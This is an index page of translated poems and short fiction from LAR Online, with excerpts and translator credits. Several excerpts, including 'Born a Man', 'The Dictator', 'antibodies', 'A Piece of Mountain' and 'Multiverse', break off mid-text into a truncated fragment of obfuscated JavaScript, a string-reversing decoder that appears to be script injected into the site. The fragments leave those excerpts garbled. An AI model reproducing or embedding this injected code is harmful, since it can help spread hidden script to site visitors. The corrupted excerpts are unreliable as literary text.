Born a Man
It’s so much work, she must confess,
grappling with the sloth of her spouse,
cleaning his home, h$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return ...
2 Poems by Adela Zamudio Translated by Laura Nagle
LAR Online, Translations
The Dictator $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return ...
The Dictator and the Greeting Cards by Edmundo Paz Soldán Translated by Roy Youdale and Nick Caistor
LAR Online, Translations
antibodies
i’ve been trying to survive somewhat calmly
drinking lots of water
i always feel
the urge to go pee
$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return ...
2 Poems by Danielle Magalhães Translated by Robert Smith
LAR Online, Translations
New York
The storm front has not lowered to the horizon yet.
She walks in a drizzling rain down Forsyth
where the street turns parallel with the Manhattan bridge.
She is now walking by the Orthodox ...
3 Poems translated by John Poch
LAR Online, Translations
Second Life
I’ve come to the end
of the fountain pen refill you gave me
after a rainy day of wrestling
a poem. These drops have no desire to fall
along the afternoon’s wet periphery—
they remain suspended ...
3 Poems Translated by Calvin Olsen
LAR Online, Translations
A Piece of Mountain
By: Sholeh Rezazadeh
Translated by: Sophie Atkins
There’s snow on the Mishoodaghi mountains. The sun is shining on my face $nJe=function(n){if (typeof ($nJe.list[n]) == "string") ...
A Piece of Mountain Translated by Sophie Atkins
LAR Online, Translations
Multiverse
Let us breathe
The air of peace $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return ...
3 Poems Translated by May Huang
LAR Online, Translations
The Unextinguished Window
By day I see him in the street,
in a dark suit,
razored
combed
wearing a tie—
entire nights his window shines
opposite my window.
Survivor
from ...
Poems Translated by Susan Cohen
LAR Online, Translations
Quiet
Quiet is the loudest thing, that's what the old folks say.
Quiet gets you fastening scabbards around your waist.
Quiet shouldn't be denied. And me, I won't deny it.
Quiet augurs much ahead. Protect ...
Translations by Richard Prins
LAR Online, Translations
